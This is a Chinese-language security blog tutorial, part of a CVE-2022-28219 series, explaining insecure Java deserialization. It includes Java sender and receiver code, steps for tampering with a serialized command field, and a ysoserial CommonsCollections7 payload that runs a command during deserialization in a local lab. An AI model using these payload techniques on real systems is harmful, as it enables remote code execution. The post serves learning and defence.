iT邦幫忙

2022 iThome 鐵人賽

DAY 26
0
影片教學

從建立環境、驗證漏洞、感受漏洞來學習資安系列 第 28

Day26 - 這是我最後的漏洞了!收下吧! - 不安全反序列化

  • 分享至 

  • xImage
  •  

「JOJO這是我最後的波紋了!你收下吧!」-《JOJO的奇妙冒險》

Yes

  • 第 26~29 天都會專注在 CVE-2022-28219 這個漏洞上,這個漏洞可以堪稱為 OWASP Top 10 教科書級別的漏洞。其中手法部分包含了 OWASP Top 10 2017 的 A4 XXE 手法以及 A8 不安全反序列化,外加這個軟體又是微軟的 Active Directory 服務的 Audit 軟體,也就是說光是要學習這個漏洞就需要使用 2種 OWASP Top 10 攻擊手法外加建立 Active Directory 服務,根本就賺爛了賺爛了。/images/emoticon/emoticon34.gif所以這系列會分成四集說明,就先來看看這個漏洞的相關資訊。

  • 漏洞相關資訊

    • 漏洞編號 : CVE-2022-28219
    • CVSS 3.0 分數 : 9.8 CRITICAL
    • 漏洞類型 : XXE (目錄列舉 + 任意檔案上傳) + 不安全反序列化 (RCE)
    • 使用版本資訊
      • Window Server 2019
      • ManageEngine ADAudit Plus 7055
    • 漏洞先備知識 :
      • Java 程式語言基本概念
    • 漏洞收穫技能 :
      • 序列化及反序列化、不安全反序列化攻擊原理
      • XXE 攻擊原理
      • Active Directory 環境建置
  • 第一個部分先從不安全反序列化攻擊原理開始介紹起,但要先說說何為序列化及反序列化。假如有個物件定義如下,其本身是負責將設定的 IP 資料並透過 nslookup 進行反查,但今天有個需求是要把該物件的狀態傳送另一台伺服器上進行處理,那試著想想會怎麼做? /images/emoticon/emoticon56.gif

Serialization.java

import java.util.*;
import java.io.*;

public class Serialization  implements Serializable  {

    private static final long serialVersionUID = 1L;

    public Serialization() {
        System.out.println("Call Serialization()");
    }

    private String command = "nslookup" ;
    public String ip = "";

    public void setIP(String ip) {
        this.ip = ip;
    }

    public String getIP() {
        return this.ip;
    }

    public void executeCommand() {
        try {
            Runtime rt = Runtime.getRuntime ();
            Process proc = rt.exec (command + " " + ip);
            int exitVal = proc.exitValue ();
            System.out.println ("Process exitValue: " + exitVal);
        } catch (Exception e) {
            e.printStackTrace ();
        }
    }
}
  • 簡單來說可以只把 IP 的數值部分傳送給伺服器,之後設定把數值設定到物件後,呼叫 executeCommand() 即可。但是試著想想,如果該物件定義很複雜,或是該物件又有包含其他物件,那該怎麼節省開發的時間? 這時候就可以透過所謂的物件序列化功能。

  • 所謂的序列化,就是把儲存在記憶體中的物件狀態轉換成某種資料格式,儲存在檔案、資料庫、記憶體中,再經由媒介傳送給另外一端後,透過反序列化還原回原本的物件。這個功能很多程式語言都有支援,像是 Java、.Net、Python 都有。

https://ithelp.ithome.com.tw/upload/images/20221010/20148308A7K9bWbKZ7.jpg

資料來源 : Serialization vs deserialization

  • 但萬一反序列化的時候沒有驗證資料來源,就會延伸出所謂的不安全的反序列化問題。/images/emoticon/emoticon21.gif也就是說一旦直接反序列化駭客精心製作的資料,就可能造成無法想像的後果。一般來說,不安全的反序列化有兩種進攻方式。

  • 第一種是針對反序列化的邏輯進行攻擊,導致反序列化執行的功能與想像中的不同。以上面的物件定義例子來說,當今天駭客竄改物件的 command 數值時,再去引發呼叫 executeCommand() 就可以達到 RCE 的效果。接著就先來建立一下這個環境。

Sender.java

import java.util.* ;
import java.io.* ;

public class Sender {
    public static void main(String [] args) throws Exception {

        File file = new File("test.ser");
        ObjectOutputStream objOutputStream = new ObjectOutputStream(new FileOutputStream(file));

        Serialization ss = new Serialization();
        ss.setIP("127.0.0.1");

        objOutputStream.writeObject(ss);
        objOutputStream.close();
    }
}

Receiver.java

import java.util.*;
import java.io.*;

public class Receiver  implements Serializable  {

    public static void main(String [] args) throws Exception {

        File file = new File("test.ser");

        FileInputStream fileInputStream =
                new FileInputStream(file);
        ObjectInputStream objInputStream =
            new ObjectInputStream(fileInputStream);

        Serialization ss = (Serialization)objInputStream.readObject();
        System.out.println("IP is "+ss.getIP());
        ss.executeCommand();

        objInputStream.close();
    }
}
  • 那這邊要怎麼竄改序列化的物件,其實可透過工具 SerializationDumper 來觀察反序列化後的資料以及修改。

步驟如下 :

  1. javac Sender.java && java Sender
  2. git clone https://github.com/NickstaDB/SerializationDumper.git
  3. sh build.sh
  4. java -jar SerializationDumper.jar -r ../test.ser > test.ser.data
  5. 修改 command、ip 的數值以及字串長度 (Value - sleep - 0x736c656570、Value - 3000 - 0x33303030)
  6. java -jar SerializationDumper.jar -b test.ser.data test.ser
  7. javac Receiver.java && java Receiver
  8. 觀察執行結果
  • 第二種則是利用現有已知可被利用的來做 RCE 的攻擊路徑,一旦使用者的參考的物件有這些問題的物件定義,再加上有不安全的反序列化問題,就會導致 RCE 的效果。至於要怎麼找到這些有問題的物件定義,則可透過工具 frohoff/ysoserial 去列舉以及產生特定物件的 payload 進行測試。

步驟如下 :

  1. git clone https://github.com/frohoff/ysoserial.git
  2. mvn clean package -DskipTests
  3. java -jar ysoserial-0.0.6-SNAPSHOT-all.jar # 列舉目前支援的函式庫以及版本
  4. wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar # 此處以 commons-collections 3.1 版為例
  5. java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 "sleep 30000" > test.ser
  6. cp test.ser "目的地" && java -cp .:commons-collections-3.1.jar Receiver
  7. ps aux | grep sleep
  • 從上面例子可以發現雖然最終物件的轉型失敗,但 RCE 的部分仍然是被觸發的,可以看出執行命令的階段是發生在反序列化階段,即便限制轉型的物件也無法阻止指令的執行。至於不安全反序列化的正確防禦方式,可以參考 OWASP Deserialization Cheat Sheet,就留給有興趣的人參考參考。 /images/emoticon/emoticon07.gif

參考資料 :

  1. Zoho ManageEngine ADAudit Plus (CVE-2022-28219 )漏洞分析

上一篇
Day25 - 我就懶不重製篇 - DogWalk 漏洞建立及測試
下一篇
Day27 - 這是我最後的漏洞了!收下吧! - XXE
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言